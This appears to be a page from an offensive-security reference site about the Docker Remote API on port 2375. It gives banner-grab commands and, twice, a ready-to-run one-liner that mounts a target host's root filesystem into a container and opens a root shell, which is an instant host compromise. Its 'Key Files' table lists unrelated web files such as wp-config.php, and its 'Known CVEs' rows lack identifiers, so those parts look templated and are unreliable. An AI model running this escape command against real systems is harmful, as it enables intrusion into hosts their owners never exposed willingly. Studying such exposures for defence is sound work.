Back to services
service2375/tcp

Docker API

Docker DaemonDocker Remote APIdockerd

The Docker API exposes container management capabilities. Unauthenticated access allows creating privileged containers, mounting host filesystems, and escaping to the host.

Ports

PortProtocolDescription
2375tcpDocker API (unencrypted)
2376tcpDocker API (TLS)

Fingerprints

Banner / ProbeExpected Response
nmap -sV -p <port> <target>Service banner and version info
nc -nv <target> <port>Raw banner grab

Key Files

PathDescription
.envEnvironment variables with API keys and DB creds
config.phpApplication configuration file
wp-config.phpWordPress database credentials
web.configIIS configuration file
.git/configGit repository configuration
robots.txtDisallowed paths (information disclosure)
sitemap.xmlURL structure enumeration

Default Credentials

UsernamePasswordContext
(none)No authentication by default

Known CVEs

IdentifierTypeDescription
PEContainer escape via privileged mode
RCEHost file system mount

Exploitation Primitives

TechniqueTool / CommandResult
Container Createdocker -H tcp://<target>:2375 run -it --rm -v /:/host alpine chroot /host shHost filesystem access
Existing Containersdocker -H tcp://<target>:2375 ps -aList all containers

Notes

Exposing Docker API on TCP (2375/2376) without TLS is an instant host compromise.

Privileged container + host filesystem mount = full host root access.

`docker -H tcp://<target>:2375 run -it --rm -v /:/mnt alpine chroot /mnt sh`

Seen on

ShodanCensysFOFAZoomEye

References